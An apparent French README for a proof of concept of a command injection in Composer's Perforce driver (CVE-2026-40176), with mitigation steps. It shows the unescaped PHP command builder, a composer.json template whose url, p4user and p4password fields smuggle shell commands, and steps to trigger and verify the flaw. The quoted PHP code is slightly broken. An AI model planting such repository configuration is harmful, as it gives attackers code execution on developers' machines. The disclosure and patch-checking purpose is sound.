
Preuve de concept démontrant une injection de commande dans le pilote Perforce de Composer (CVE-2026-40176), permettant l'exécution de code à distance via une configuration de dépôt malveillante.
Vulnérabilité d'injection de commandes dans le pilote de dépôt Perforce de Composer permettant l'exécution de code à distance (RCE) via une validation insuffisante des entrées dans le traitement des URL de dépôt.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2026-40176 |
| Versions affectées | Composer < 2.2.27 |
| Type de vulnérabilité | Injection de commandes |
| Vecteur d'attaque | Configuration de dépôt malveillante |
| Impact | Exécution de code arbitraire |
| Score CVSS | Élevé/Critique |
La vulnérabilité existe dans la façon dont Composer traite les dépôts de type perforce. Le paramètre n'est pas correctement assaini avant d'être transmis aux commandes shell, ce qui permet aux attaquants d'injecter des commandes système arbitraires.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Tout cela n'était pas correctement échappé, permettant à un attaquant d'injecter des commandes en créant une charge utile malveillante pour tous les champs avec le type perforce.
Modèle de code vulnérable :
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Ce dépôt contient une preuve de concept fonctionnelle démontrant la vulnérabilité.
CVE-2026-40176/
├── composer.json # Configuration de dépôt Perforce malveillante
├── vuln-composer.phar # Composer 2.2.26 (VULNÉRABLE)
├── patched-composer.phar # Composer 2.2.27 (CORRIGÉ)
└── README.md # Ce fichier
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Sortie : Composer version 2.2.26
php patched-composer.phar --version
# Sortie : Composer version 2.2.27
php vuln-composer.phar install
# OU
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# Le fichier ne devrait PAS exister (la vulnérabilité est corrigée)
Mettre à niveau Composer vers la version 2.2.27 ou ultérieure :
composer self-update --2.2.27
# OU
wget https://getcomposer.org/download/2.2.27/composer.phar
Examiner tous les fichiers composer.json pour détecter des configurations de dépôt inconnues ou suspectes
Auditer la chaîne d'approvisionnement - Vérifier si des dépendances référencent des dépôts non fiables
# Vérifier votre version de Composer
composer --version
# Rechercher des dépôts Perforce dans vos projets
grep -r "perforce" */composer.json